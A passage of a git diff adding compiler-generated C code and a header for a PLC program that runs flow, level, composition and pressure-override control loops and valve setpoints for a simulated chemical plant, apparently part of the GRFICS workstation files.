__SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + 